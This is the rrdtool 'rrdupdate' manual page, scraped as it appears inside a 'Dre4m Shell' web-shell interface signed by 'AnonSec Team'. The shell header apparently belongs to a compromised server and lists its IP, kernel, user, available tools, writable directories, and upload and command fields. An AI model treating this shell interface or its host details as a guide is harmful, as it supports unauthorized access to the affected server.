Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.117.72.108
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/cwd/proc/2/root/proc/2/root/proc/3/cwd/usr/share/doc/rrdtool/html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/cwd/proc/2/root/proc/2/root/proc/3/cwd/usr/share/doc/rrdtool/html/rrdupdate.html
<?xml version="1.0" ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>rrdupdate</title>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rev="made" href="mailto:root@localhost" />
</head>

<body>



<h1 id="NAME">NAME</h1>

<p>rrdupdate - Store a new set of values into the RRD</p>

<h1 id="SYNOPSIS">SYNOPSIS</h1>

<p><b>rrdtool</b> {<b>update</b> | <b>updatev</b>} <i>filename</i> <span style="white-space: nowrap;">[<b>--template</b>|<b>-t</b> <i>ds-name</i>[<b>:</b><i>ds-name</i>]...]</span> <span style="white-space: nowrap;">[<b>--skip-past-updates</b>|<b>-s</b>]</span> <span style="white-space: nowrap;">[<b>--daemon</b>|<b>-d</b> <i>address</i>]</span> [<b>--</b>] <span style="white-space: nowrap;"><b>N</b><b>:</b><i>value</i>[<b>:</b><i>value</i>]...</span> <span style="white-space: nowrap;"><i>timestamp</i><b>:</b><i>value</i>[<b>:</b><i>value</i>]...</span> <span style="white-space: nowrap;"><i>at-timestamp</i><b>@</b><i>value</i>[<b>:</b><i>value</i>]...</span></p>

<h1 id="DESCRIPTION">DESCRIPTION</h1>

<p>The <b>update</b> function feeds new data values into an <b>RRD</b>. The data is time aligned (interpolated) according to the properties of the <b>RRD</b> to which the data is written.</p>

<dl>

<dt id="updatev"><b>updatev</b></dt>
<dd>

<p>This alternate version of <b>update</b> takes the same arguments and performs the same function. The <i>v</i> stands for <i>verbose</i>, which describes the output returned. <b>updatev</b> returns a list of any and all consolidated data points (CDPs) written to disk as a result of the invocation of update. The values are indexed by timestamp (time_t), RRA (consolidation function and PDPs per CDP), and data source (name). Note that depending on the arguments of the current and previous call to update, the list may have no entries or a large number of entries.</p>

<p>Since <b>updatev</b> requires direct disk access, the <b>--daemon</b> option cannot be used with this command.</p>

</dd>
<dt id="filename"><i>filename</i></dt>
<dd>

<p>The name of the <b>RRD</b> you want to update.</p>

</dd>
<dt id="template--t-ds-name-:ds-name"><b>--template</b>|<b>-t</b> <i>ds-name</i>[<b>:</b><i>ds-name</i>]...</dt>
<dd>

<p>By default, the <b>update</b> function expects its data input in the order the data sources are defined in the RRD, excluding any COMPUTE data sources (i.e. if the third data source <b>DST</b> is COMPUTE, the third input value will be mapped to the fourth data source in the <b>RRD</b> and so on). This is not very error resistant, as you might be sending the wrong data into an RRD.</p>

<p>The template switch allows you to specify which data sources you are going to update and in which order. If the data sources specified in the template are not available in the RRD file, the update process will abort with an error message.</p>

<p>While it appears possible with the template switch to update data sources asynchronously, <b>RRDtool</b> implicitly assigns non-COMPUTE data sources missing from the template the <i>*UNKNOWN*</i> value.</p>

<p>Do not specify a value for a COMPUTE <b>DST</b> in the <b>update</b> function. If this is done accidentally (and this can only be done using the template switch), <b>RRDtool</b> will ignore the value specified for the COMPUTE <b>DST</b>.</p>

<p>The caching daemon <a href="./rrdcached.html">rrdcached</a> cannot be used together with templates yet.</p>

</dd>
<dt id="skip-past-updates--s"><b>--skip-past-updates</b>|<b>-s</b></dt>
<dd>

<p>When updating an rrd file with data earlier than the latest update already applied, rrdtool will issue an error message and abort. This option instructs rrdtool to silently skip such data. It can be useful when re-playing old data into an rrd file and you are not sure how many updates have already been applied.</p>

</dd>
<dt id="daemon--d-address"><b>--daemon</b>|<b>-d</b> <i>address</i></dt>
<dd>

<p>If given, <b>RRDtool</b> will try to connect to the caching daemon <a href="./rrdcached.html">rrdcached</a> at <i>address</i>. If the connection is successfully established the values will be sent to the daemon instead of accessing the files directly. If the connection cannot be established it will fall back to direct file-access. While this is convenient, it can silently create problems so please read the <a href="#EXAMPLES">warning in the examples</a>.</p>

<p>For a list of accepted formats, see the <b>-l</b> option in the <a href="./rrdcached.html">rrdcached</a> manual.</p>

</dd>
<dt id="N-timestamp-:value-:value">{<b>N</b> | <i>timestamp</i>}<b>:</b><i>value</i>[<b>:</b><i>value</i>]...</dt>
<dd>

<p>The data used for updating the RRD was acquired at a certain time. This time can either be defined in seconds since 1970-01-01 or by using the letter &#39;N&#39;, in which case the update time is set to be the current time. Negative time values are subtracted from the current time. An AT_STYLE TIME SPECIFICATION (see the <i>rrdfetch</i> documentation) may also be used by delimiting the end of the time specification with the &#39;@&#39; character instead of a &#39;:&#39;. Getting the timing right to the second is especially important when you are working with data-sources of type <b>COUNTER</b>, <b>DERIVE</b>, <b>DCOUNTER</b>, <b>DDERIVE</b> or <b>ABSOLUTE</b>.</p>

<p>When using negative time values, options and data have to be separated by two dashes (<b>--</b>), else the time value would be parsed as an option. See below for an example.</p>

<p>The remaining elements of the argument are DS updates. The order of this list is the same as the order the data sources were defined in the RRA. If there is no data for a certain data-source, the letter <b>U</b> (e.g., N:0.1:U:1) can be specified.</p>

<p>The format of the value acquired from the data source is dependent on the data source type chosen. Normally it will be numeric, but the data acquisition modules may impose their very own parsing of this parameter as long as the colon (<b>:</b>) remains the data source value separator.</p>

</dd>
</dl>

<h1 id="ENVIRONMENT-VARIABLES">ENVIRONMENT VARIABLES</h1>

<p>The following environment variables may be used to change the behavior of <code>rrdtool&nbsp;update</code>:</p>

<dl>

<dt id="RRDCACHED_ADDRESS"><b>RRDCACHED_ADDRESS</b></dt>
<dd>

<p>If this environment variable is set it will have the same effect as specifying the <code>--daemon</code> option on the command line. If both are present, the command line argument takes precedence.</p>

</dd>
<dt id="RRDCACHED_STRIPPATH"><b>RRDCACHED_STRIPPATH</b></dt>
<dd>

<p>If this environment variable is set it will strip the leading string from the filename prior to sending the filename to rrdcached. This is mostly intended to allow rrdcached to work with xymon and cacti tools without having to modify those tools.</p>

</dd>
</dl>

<h1 id="EXAMPLES">EXAMPLES</h1>

<ul>

<li><p><code>rrdtool update demo1.rrd N:3.44:3.15:U:23</code></p>

<p>Update the database file demo1.rrd with 3 known and one <i>*UNKNOWN*</i> value. Use the current time as the update time.</p>

</li>
<li><p><code>rrdtool update demo2.rrd 887457267:U 887457521:22 887457903:2.7</code></p>

<p>Update the database file demo2.rrd which expects data from a single data-source, three times. First with an <i>*UNKNOWN*</i> value then with two regular readings. The update interval seems to be around 300 seconds.</p>

</li>
<li><p><code>rrdtool update demo3.rrd -- -5:21 N:42</code></p>

<p>Update the database file demo3.rrd two times, using five seconds in the past and the current time as the update times.</p>

</li>
<li><p><code>rrdtool update --daemon unix:/tmp/rrdd.sock demo4.rrd N:23</code></p>

<p>Use the UNIX domain socket <code>/tmp/rrdd.sock</code> to contact the caching daemon. If the caching daemon is not available, update the file <code>demo4.rrd</code> directly. <b>WARNING:</b> Since a relative path is specified, the following disturbing effect may occur: If the daemon is available, the file relative to the working directory <b>of the daemon</b> is used. If the daemon is not available, the file relative to the current working directory of the invoking process is used. <b>This may update two different files depending on whether the daemon could be reached or not.</b> Don&#39;t do relative paths, kids!</p>

</li>
</ul>

<h1 id="AUTHORS">AUTHORS</h1>

<p>Tobias Oetiker &lt;tobi@oetiker.ch&gt;, Florian Forster &lt;octo&nbsp;at&nbsp;verplant.org&gt;</p>


</body>

</html>



Anon7 - 2022
AnonSec Team